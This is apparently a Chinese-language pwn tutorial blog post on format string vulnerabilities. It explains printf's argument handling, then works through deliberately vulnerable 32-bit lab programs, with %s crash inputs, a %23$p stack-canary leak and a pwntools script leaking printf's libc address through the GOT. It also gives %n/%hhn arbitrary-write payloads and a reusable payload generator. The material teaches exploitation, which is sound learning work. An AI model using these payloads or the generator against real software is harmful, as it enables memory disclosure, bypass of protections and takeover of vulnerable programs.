2026-04-08

PWN(2)

上一章中讲了栈溢出,我们发现大多数时候的攻击,要求我们知道/泄露出某个关键部分的地址,以掌握一定的内存布局和关键的注入点。为了更好的泄露内存信息,我们需要学习一个关键漏洞——字符串格式化漏洞。

格式化字符串漏洞

当程序使用不安全的格式化函数(如printfsprintffprintf等)时,攻击者可以通过控制格式化字符串参数来读取或写入任意内存地址。

格式化字符串函数

在了解什么是格式化字符串漏洞之前我们首先需要清楚什么是格式化字符和格式化字符串函数。

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

printf就是典型的格式化字符串函数:

int printf(const char *format, ...);
// format -> 格式化字符串
// ... -> 可变参数 表示可以接受任意数量、任意类型的额外参数

关于printf的用法,这个可以不用过多说明,其他类似的函数也有很多…

格式化字符串

现在我们就需要进一步的解释格式化的的字符串,其基本格式如下:

%[parameter][flags][field width][.precision][length]type

简单解释一下:(%是格式化说明符的起始标志)

  • [parameter]:参数编号n$,用于显式指定使用第几个参数
  • [flags]:用于调整输出的对齐方式、符号显示等。自己搜
  • [field width]:指定输出的最小宽度,宽度不够会用0填充
  • [.precision]:用来指定精度,含义取决于type
  • [length]:指定参数的长度(决定输出的数据大小)。这个等下会用到比较多
  • [type]:用来指定参数类型(决定输出的数据的格式)

我们还需要认识一些特殊的格式符:

  • %p:按指针地址的格式输出地址
  • %n:将已输出字符数写入指定地址

现在我们可以进一步的探索printf的本质了:

printf函数运行机理

伪代码演示一下printf的原理:

int printf(const char *format, ...){
    va_list args;			// 声明一个可变参数列表的指针(va_list是可变参数类型)
    va_start(args,format);	 // args指向第一个可变参数(format)
    ...
    // 接下这里会遍历格式化字符
    // 关键在于对length的处理
    // va_args控制可变参数指针每次弹出大小为多少的数据
    switch (length_modifier) {
    	case LEN_HH: int_val = (signed char)va_arg(args, int); break;
        case LEN_H:  int_val = (short)va_arg(args, int); break;
        case LEN_L:  int_val = va_arg(args, long); break;
        case LEN_LL: int_val = va_arg(args, long long); break;
        case LEN_Z:  int_val = va_arg(args, size_t); break;
        default:     int_val = va_arg(args, int); break;
    }
    ...
    va_end(args);
}

关键在于va_args函数,使用它需要提供一个数据类型作为参数,此时args指针会从栈上弹出一个指定数据类型的数据。在这个过程中printf函数对格式化字符是无条件信任的,它认为栈上确实有足够多的数据供格式化字符串读取,这就导致在某些情况下,栈上的数据会被泄露出来。

演示

#include <stdio.h>

int main(){
    printf("%p %p %p\n");
    return 0;
}

编译gcc -m32 -O0 printf.c执行调试这个程序得到:

> ./a.out
(nil) (nil) 0x566141a1

我们没有给格式化字符串提供参数,可还是输出了数值。这些值来自于栈上,但是具体有什么含义我们之后再来讨论。

格式化字符串漏洞利用

依旧是基于32bit的编译环境

解释了格式化字符串漏洞之后,我们将进一步演示怎么去利用这个漏洞达到一些目的:

程序崩溃

这个是最简单的利用方式,我们只需要输入若干个%s即可:

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

现在有以下程序,编译执行gcc printf.c -g -O0 -m32 -Wno-implicit-function-declaration

#include <stdio.h>
int main(){
    char buf[64];
    gets(buf);
    printf(buf);
    return 0;
}

可以看到这里有一个格式化字符串的漏洞,我们可以使其崩溃:

> ./a.out
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
fish: Job 1, './a.out' terminated by signal SIGSEGV (Address boundary error)

这是因为%s的作用是将一个数据作为指向字符串的地址,不断读取直到\0,结束输出字符串,基于这个特定点,所以其他的格式符没有这样的效果。但是栈上的地址不可能都是有效的地址,可能有的地址是未加载的虚拟地址 ,或者是未对齐的地址…

这样我们就成功利用格式化字符串漏洞实现了程序崩溃。

泄露内存

利用格式化字符串漏洞 我们可以获取我们想要的内容,一般有以下情况:

  • 泄露栈内存
    • 获取某个变量的值(Canary…)
    • 获取某个变量存储的地址内存(bss段入口…)
  • 泄露地址内存
    • 利用GOT表得到libc函数地址
    • dump大量内存,获取信息

接下就是围绕这几种利用来进行格式化字符串漏洞展示:

泄露Canary

我们使用以下程序作为测试代码:

#include <stdio.h>

int main(){
    char buf[64];
    gets(buf);
    printf(buf);
    return 0;
}

然后开启栈保护编译gcc printf.c -g -O0 -m32 -Wno-implicit-function-declaration -fstack-protector,确实可以检测到栈溢出保护是开启的:

> pwn checksec a.out
[*] '/home/Ylin/PWN/a.out'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

> ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: terminated
fish: Job 1, './a.out' terminated by signal SIGABRT (Abort)

但是我们可以利用canary值设置的位置的特点来计算出canary值的位置,从而利用%k$p的方式直接将其泄露出来。不过首先需要泄露出缓冲区的入口的偏移值,这样才能根据缓冲区的大小计算出cananry的布局。我们输入:

> ./a.out
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x1.0xf7f95bf0.0x566381c4.(nil).0xffc1812b.0x2.0x41414141.0x2e70252e.0x252e7025¶ 

看到AAAA的ASCII值0x41414141出现在栈上的第七个参数(忽略第一个格式化字符串),现在我们可以根据栈的结构来计算canary的位置了:23=7+64423 = 7 + \frac{64}{4} (这里的64是刚好栈对齐的情况,平时也要考虑)

高地址
      ┌─────────────────────┐
      │      ...            │
      ├─────────────────────┤
      │   返回地址 (ret)     │  <- 第?个参数
      ├─────────────────────┤
      │   Saved EBP         │  <- 第?个参数
      ├─────────────────────┤
      │   CANARY(4字节)     │  <- 第23个参数 (64字节后)
      ├─────────────────────┤
      │   缓冲区(buf[64])   │
      │   ┌───────────────┐ │
      │   │  buf[60-63]   │ │  <- 第22个参数
      │   ├───────────────┤ │
      │   │  buf[56-59]   │ │  <- 第21个参数
      │   ├───────────────┤ │
      │   │     ...       │ │
      │   ├───────────────┤ │
      │   │  buf[4-7]     │ │  <- 第8个参数
      │   ├───────────────┤ │
      │   │  buf[0-3]     │ │  <- 第7个参数 (0x41414141)
      │   └───────────────┘ │
      └─────────────────────┘
低地址

现在可以直接通过%23$p泄露canary了,我们在pdb中进行验证:

pwndbg> canary
AT_RANDOM  = 0xffffce9b # points to global canary seed value
TLS Canary = 0xf7fc0514 # address where canary is stored
Canary     = 0xb5e05400 (may be incorrect on != glibc)
Thread 1: Found valid canaries.
00:0000│-31c 0xffffc96c ◂— 0xb5e05400
Additional results hidden. Use --all to see them.
pwndbg> c
Continuing.
%23$p
0xb5e05400[Inferior 1 (process 19057) exited normally]
泄露函数地址

%p可以将数据泄露,而%s可以将数据视作指向字符串的指针,通过这个特点,我们不仅可以通过访问无效地址让程序崩溃,当我们想要访问某个地址上的内容时,我们也可以利用格式化字符串漏洞去实现。

而这就引出了格式化漏洞的一个关键利用——泄露函数libc地址,从而绕过ASLR的限制。我们可以通过以下方式来获取某个指定地址addr中的内容:

[addr] %[offset]$s  # offset是缓冲区的偏移值

现在我们对上面的同一个例子,编译执行gcc printf.c -g -O0 -m32 -Wno-implicit-function-declaration -no-pie后利用格式化字符串漏洞来泄露printf的libc地址:

#!/usr/bin/env python3
from pwn import *

p = process('./a.out')
elf = ELF('./a.out')

printf_got = elf.got['printf']
print(hex(printf_got))

# 这个4是通过[tag].%p.%p.%p...的方法泄露出来的
payload = p32(printf_got) + b'%4$s'
p.sendline(payload)

raw = p.recvline()
printf_addr = hex(u32(raw[4:8]))
print(printf_addr)

成功泄露出了printf的libc地址:

> python3 exp.py
[+] Starting local process './a.out': pid 16986
[*] '/home/Ylin/PWN/a.out'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
0x804c004
[!] EOFError during recvline. Returning buffered data without trailing newline.
0xf7d4ae50
[*] Process './a.out' stopped with exit code 0 (pid 16986)

覆盖内存

刚刚讲的都是怎么利用格式化字符串漏洞来泄露数据,现在我们可以进一步学习怎么利用格式化字符漏洞来覆盖/修改内存。只要指定的地址是可写的,我们就可以利用格式化字符串来修改其对应的数值,而核心就在于:

%n # 不输出字符 但是把已经输入的字符个数写入对应的整型指针参数所指的变量

通过这个类型参数,我们可以通过以下方式来覆盖地址上的数值:

  • 确定覆盖地址addr
  • 确定相对偏移offset
  • 覆盖
[addr]%0kd%[offset]$n	# 覆盖后的数值就是k+4(32bit)

我们通常通过这个方法来修改变量的值,从而绕过程序中对某些关键变量的条件判断。但是根据变量在内存中的位置分布不同和要覆盖的数据的大小不同,我们可以分为以下几种情况:

  • 栈变量覆盖
  • 小数字覆盖
  • 大数字覆盖

我们用下面这个程序来进行演示:

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  // 这里为了方便就直接输出了几个变量的地址
  printf("%p.%p.%p\n", &a, &b, &c); 
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

通过gcc printf.c -g -O0 -m32 -Wno-implicit-function-declaration -no-pie进行编译。

栈变量覆盖

首先我们需要确定缓冲区的相对偏移为offset = 6

> ./a.out
0x804c018.0x804c01c.0xff9bef8c
AAAA.%p.%p.%p.%p.%p.%p.%p.%p
AAAAA.0xff9bef28.0x804c01c.0xff9bef8c.0xf7f5dd5c.0x1.0x41414141.0x70252e41.0x2e70252e¶  

然后我们就可以构造payload了,将c覆盖为我们想要的数值:

#!/usr/bin/env python3
from pwn import *

p = process('./a.out')
elf = ELF('./a.out')

var = p.recv().split(b'.')
a,b,c = int(var[0], 16), int(var[1], 16), int(var[2], 16)

payload = p32(c) + b'%012d' + b'%6$n'

p.sendline(payload)
print(p.recv())

执行发现输出中的回显modified c.,说明我们成功的控制了c的值:

> python3 exp.py
[+] Starting local process './a.out': pid 24515
[*] '/home/Ylin/PWN/a.out'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
b'\xac\x9c\xe4\xff-00001795000modified c.\n'
[*] Process './a.out' stopped with exit code 0 (pid 24515)
小数字覆盖

当我们使用[addr] + %[offset]$n的方式进行覆盖的时候,因为地址的大小是4字节,所以我们只能覆盖数值大于等于4的数据到指定的地址上。

可是当我们想要写入一个小数字的时候我们应该怎么办呢?我们可以将字符串向后挪,在%n之前少放点东西:

[padding]%[offset]$n...[addr]	# 这里的...代表需要填充一些内容从而对齐栈结构 方便计算offset

假如我们想要通过覆盖变量,从而执行上面的a分支,我们可以构造出以下payload:

aa%8$naa[addr]

为什么offset变成了8呢,接下来分别解析paddingoffset的构造:

  • padding:因为我们希望写入的数据是2所以%n前面需要有两个字节
  • offset:我们知道一开始写入的相对偏移是6,但是这里首次写入的4个字节不是地址,而是aa%8。因为格式化字符串是在栈上按ASCII存储的,且32位的栈是四字节对齐的,所以需要在$n后再填充两个字节$naa这样就保证栈是对齐的了,此时addr前已经有八个字节,因此在栈上看,地址的偏移值应该是8

我们通过构造exp来验证:

#!/usr/bin/env python3
from pwn import *

p = process('./a.out')
elf = ELF('./a.out')

var = p.recv().split(b'.')
a,b,c = int(var[0], 16), int(var[1], 16), int(var[2], 16)

payload = b'aa%8$nxx' + p32(a)

p.sendline(payload)
print(p.recv())

根据运行结果可以发现,确实成功修改了a的值,成功进入了指定分支:

> python3 exp.py
[+] Starting local process './a.out': pid 5980
[*] '/home/Ylin/PWN/a.out'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
b'aaxx\x18\xc0\x04\x08modified a for a small number.\n'
[*] Process './a.out' stopped with exit code 0 (pid 5980)
大数字覆盖

有时候我们需要向内存中写入一个较大的数字,例如0x1245678这种,按照%n的原理,我们需要在前面打印出几亿多的字符,这显然是不可能的。为了解决这个问题我们可以通过将一个数字拆分成由低到高四个字节[0x78,0x56,0x34,0x12],然后分别写入四个字节应该存放的地址:

addr \x78
addr + 1 \x56
addr + 2 \x34
addr + 3 \x12

但是要注意%n写入的是整型的大小,但是我们可以通过设置格式化字符串的[length]来设置控制写入的大小:

格式化符 写入大小 类型对应
%n 4 字节 (32位) / 8 字节 (64位) int*
%hn 2 字节 short*
%hhn 1 字节 char*

这样我们就可以通过%hhn来在每个字节进行一定的写入。最终我们可以构造出payload

[addr[0]][addr[1]][addr[2]][addr[3]] + 
[padding0]%[offset]$hhn + 
[padding1]%[offset+1]$hhn + 
[padding2]%[offset+2]$hhn +
[padding3]%[offset+3]$hhn

所以关键就在于怎么计算出合适的paddding和正确的offset offset的计算不用多说,对于padding的计算我们可以用一个程序的结构帮助我们计算出来:(自己意会,逻辑很清晰)

from pwn import *

def fmt(prev, byte, idx):
    '''
    prev: 在此之前的字符数
    byte: 需要写入的字节
    idx: 需要写入的地址在参数列表中的位置
    '''
    if prev < byte:
        fmtstr = b'%' + str(byte - prev).encode() + b'c%' 
    elif prev > byte:
        fmtstr = b'%' + str(0x100 + byte - prev).encode() + b'c%'
    else:
        fmtstr = b''

    fmtstr += str(idx).encode() + b'$hhn'
    return fmtstr  

def fmt_str(offset, size, addr, target):
    '''
    offset: 需要写入的地址在参数列表中的位置
    size: 需要写入的字节数
    addr: 需要写入的地址
    target: 需要写入的值
    '''
    payload = b''
    for i in range(size):
        if size == 4:
            payload += p32(addr + i)
        elif size == 8:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(size):
        payload += fmt(prev, (target >> i*8) & 0xff, offset + i)
        prev = (target >> i*8) & 0xff
    return payload 

我们可以写出exp:

p = process('./a.out')

var = p.recv().split(b'.')
a,b,c = int(var[0], 16), int(var[1], 16), int(var[2], 16)

payload = fmt_str(6, 4, b, 0x12345678)
p.sendline(payload)

print(p.recv())

执行结果输出modified b for a big number!,实现了大数字的写入:

> python3 exp.py
[+] Starting local process './a.out': pid 19143
b'\x1c\xc0\x04\x08\x1d\xc0\x04\x08\x1e\xc0\x04\x08\x1f\xc0\x04\x08                                                                                                       \xd8                                                                                                                                                                                                                             \x1c                                                                                                                                                                                                                             <                                                                                                                                                                                                                             \\modified b for a big number!\n'
[*] Process './a.out' stopped with exit code 0 (pid 19143)

至此对格式化字符串漏洞的介绍和用法就到此为止了。